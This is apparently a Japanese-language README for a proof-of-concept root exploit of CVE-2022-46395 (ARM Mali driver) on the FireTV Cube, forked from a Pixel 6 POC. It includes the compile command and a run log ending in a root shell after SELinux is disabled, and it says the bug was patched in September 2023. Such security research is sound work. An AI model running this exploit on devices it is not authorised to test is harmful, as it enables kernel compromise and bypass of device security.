
FireTV 3rd gen Cube (gazelle) 向け CVE-2022-46395 POC
これはセキュリティ研究者 Man Yue Mo 氏の Pixel 6 POC をフォークしたものです。脆弱性に関する彼の詳細な解説はこちらをご覧ください。FireOS の32ビットユーザースペースに対応するために変更が加えられています。このPOCはARM Maliカーネルドライバのバグを悪用して任意のカーネルコード実行を獲得し、その後SELinuxを無効化してrootを取得します。
このエクスプロイトは PS7664/3772(2023年9月)で修正されました。参考までに、以下のコマンドで ndk-21 の clang を使用してコンパイルしました:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o gazelle_buf
最速の結果を得るには、再起動直後に実行してください。平均してPOCは20~60秒でrootを取得します。
gazelle:/ $ /data/local/tmp/gazelle_buf
fingerprint: Amazon/gazelle/gazelle:9/PS7652.3564N/0028488625152:user/amz-p,release-keys
benchmark_time 102
failed after 100
finished reset: 919423975 fault: 918468559 3795 err 0 read 3
found pgd at page 8
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
success after 128
gazelle:/ #